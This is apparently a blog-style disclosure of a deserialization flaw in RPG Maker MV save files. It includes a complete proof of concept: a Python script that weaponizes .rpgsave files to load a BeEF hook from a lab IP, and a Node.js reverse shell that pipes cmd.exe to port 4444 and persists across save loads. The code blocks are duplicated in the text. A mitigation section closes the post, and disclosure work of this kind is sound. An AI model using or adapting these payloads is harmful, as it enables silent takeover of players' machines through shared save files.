July 23, 2026
Persistent Remote Code Execution via Insecure Deserialization in RPG Maker MV Save-File Handling.
Summary: The RPG Maker MV engine lacks proper validation for serialized data within its save-game files (.rpgsave). An attacker can inject…

By Caramellia
3 min read
Summary:
The RPG Maker MV engine lacks proper validation for serialized data within its save-game files (.rpgsave). An attacker can inject arbitrary JavaScript into the engine's internal interpreter list via a crafted save file. In deployments where Node.js integration is "hardened" (disabled), the vulnerability allows for a sandbox escape by leveraging leaked global objects to pivot through a Browser Exploitation Framework (BeEF), eventually achieving stable OS-level command execution.
1. Vulnerability Details: The Escape Logic
This vulnerability is particularly critical because it bypasses standard Chromium sandboxing through the following mechanics:
- Persistence via Serialization: Because the payload is embedded in the save state, it executes every time the save is loaded, creating a permanent foothold without needing to re-exploit the application.
- The Global Anchor: By attaching the
net.Socketandchild_processinstances to theglobalobject, the attacker ensures the reverse shell survives JavaScript Garbage Collection (GC), which would otherwise terminate the connection once the initial script execution finishes. - Implicit Trust: The application assumes that any data passing through the
LZStringdecompression layer is "internal" and safe, bypassing traditional input sanitization filters used for web-facing parameters.
2. Technical Root Cause Analysis
The vulnerability exists in the DataManager.extractSaveContents and the subsequent processing of the $gameMap._interpreter object.
- Decompression Loophole: The engine uses the LZString algorithm to decompress save data. The resulting JSON object is loaded directly into the game's global state without verifying the integrity of command sequences.
- Interpreter Hijack: By injecting Command Code 355 (Script) into the
_listarray, an attacker forces the engine to execute theparametersstring as JavaScript. - Namespace Leak: Even with
node-integrationdisabled, theglobalandwindow.nwnamespaces often remain accessible to the DOM. This allows a DOM-based script to callglobal.require(), granting access to thechild_processandnetmodules.
3. Proof of Concept (PoC)
The following chain demonstrates the transition from a stored XSS to a persistent Windows reverse shell.
Step 1: Stored XSS Pivot (BeEF Hook) The save file is weaponized to load an external C2 hook, bypassing the "disabled" console (F12):
var s=document.createElement('script');
s.src='<http://192.168.10.132:3000/hook.js>';
document.head.appendChild(s);var s=document.createElement('script');
s.src='<http://192.168.10.132:3000/hook.js>';
document.head.appendChild(s);This is the patcher where it modifies the save file into a modified persistence injection.
import json
import lzstring
lz = lzstring.LZString()
def deploy_beef_hook(file_path, beef_host, beef_port):
try:
with open(file_path, 'r') as f:
compressed_data = f.read()
decompressed = lz.decompressFromBase64(compressed_data)
save_data = json.loads(decompressed)
# BeEF Hook URL
hook_url = f"http://{beef_host}:{beef_port}/hook.js"
# The Payload: Standard DOM injection to load the external hook
# This bypasses Node restrictions because it only uses standard Web APIs.
beef_payload = (
f"var s=document.createElement('script');"
f"s.src='{hook_url}';"
f"document.head.appendChild(s);"
f"console.log('Hooking to BeEF...');"
)
# The Script Command object (355 = Script)
script_command = {"code": 355, "indent": 0, "parameters": [beef_payload]}
# 1. Hijack the Map Interpreter
if 'map' in save_data and '_interpreter' in save_data['map']:
interp = save_data['map']['_interpreter']
interp['_list'] = [script_command, {"code": 0, "indent": 0, "parameters": []}]
interp['_index'] = 0
print("[+] Map Interpreter primed with BeEF Hook.")
# 2. Hijack Common Events as a fallback
if 'commonEvents' in save_data:
for event in save_data['commonEvents']:
if isinstance(event, dict) and '_interpreter' in event:
ev_interp = event['_interpreter']
ev_interp['_list'] = [script_command, {"code": 0, "indent": 0, "parameters": []}]
ev_interp['_index'] = 0
print("[+] Common Events primed with BeEF Hook.")
# Re-compress
final_data = lz.compressToBase64(json.dumps(save_data))
with open(file_path, 'w') as f:
f.write(final_data)
print(f"[!] Save weaponized. BeEF Hook: {hook_url}")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
# Your Lab IP and BeEF Port
deploy_beef_hook('file1.rpgsave', '192.168.10.132', 3000)import json
import lzstring
lz = lzstring.LZString()
def deploy_beef_hook(file_path, beef_host, beef_port):
try:
with open(file_path, 'r') as f:
compressed_data = f.read()
decompressed = lz.decompressFromBase64(compressed_data)
save_data = json.loads(decompressed)
# BeEF Hook URL
hook_url = f"http://{beef_host}:{beef_port}/hook.js"
# The Payload: Standard DOM injection to load the external hook
# This bypasses Node restrictions because it only uses standard Web APIs.
beef_payload = (
f"var s=document.createElement('script');"
f"s.src='{hook_url}';"
f"document.head.appendChild(s);"
f"console.log('Hooking to BeEF...');"
)
# The Script Command object (355 = Script)
script_command = {"code": 355, "indent": 0, "parameters": [beef_payload]}
# 1. Hijack the Map Interpreter
if 'map' in save_data and '_interpreter' in save_data['map']:
interp = save_data['map']['_interpreter']
interp['_list'] = [script_command, {"code": 0, "indent": 0, "parameters": []}]
interp['_index'] = 0
print("[+] Map Interpreter primed with BeEF Hook.")
# 2. Hijack Common Events as a fallback
if 'commonEvents' in save_data:
for event in save_data['commonEvents']:
if isinstance(event, dict) and '_interpreter' in event:
ev_interp = event['_interpreter']
ev_interp['_list'] = [script_command, {"code": 0, "indent": 0, "parameters": []}]
ev_interp['_index'] = 0
print("[+] Common Events primed with BeEF Hook.")
# Re-compress
final_data = lz.compressToBase64(json.dumps(save_data))
with open(file_path, 'w') as f:
f.write(final_data)
print(f"[!] Save weaponized. BeEF Hook: {hook_url}")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
# Your Lab IP and BeEF Port
deploy_beef_hook('file1.rpgsave', '192.168.10.132', 3000)Step 2: Windows Stabilized RCE The shell is established via the BeEF C2 using the following persistent Node.js payload:
(function(){
try {
var net = global.require("net"),
cp = global.require("child_process");
var sh = cp.spawn("cmd.exe", []);
var client = new net.Socket();
client.connect(4444, "192.168.10.132", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
// Event listeners prevent crash-on-disconnect
client.on('error', function(e) { });
sh.on('error', function(e) { });
// Global anchoring prevents Garbage Collection termination
global.rce_shell = sh;
global.rce_client = client;
} catch(e) { }
return 88;
})();(function(){
try {
var net = global.require("net"),
cp = global.require("child_process");
var sh = cp.spawn("cmd.exe", []);
var client = new net.Socket();
client.connect(4444, "192.168.10.132", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
// Event listeners prevent crash-on-disconnect
client.on('error', function(e) { });
sh.on('error', function(e) { });
// Global anchoring prevents Garbage Collection termination
global.rce_shell = sh;
global.rce_client = client;
} catch(e) { }
return 88;
})();4. Impact Assessment
- CVSS 3.1 Score: 9.8 (Critical)
- Attack Vector: Local (manipulated save file) or Remote (via save-sharing communities).
- Confidentiality Impact: Total (Access to all user files and environment variables).
- Integrity Impact: Total (Modification of game files or system binaries).
- Availability Impact: Total (Potential for system instability or ransomware deployment).
5. Mitigation and Remediation
- Input Validation: Implement a strict whitelist during save-loading that rejects any
_listentry containing Command Code 355 or 655 (Script commands). - Context Isolation: Developers must enable
contextIsolation: truein the NW.js/Chromium manifest to prevent DOM scripts from accessing the Node.js global environment. - Integrity Checks: Implement HMAC-based signatures or checksums for all local data files to detect tampering before the decompression phase.
Summary Impact
The successful exploitation of this vulnerability results in complete host compromise. Since RPG Maker MV games are often distributed as standalone executables, users perceive them as "safe" local applications. An attacker can distribute weaponized save files or "modded" data through community forums, allowing for the silent deployment of malware, exfiltration of personal data, and the establishment of a persistent backdoor on the victim's operating system.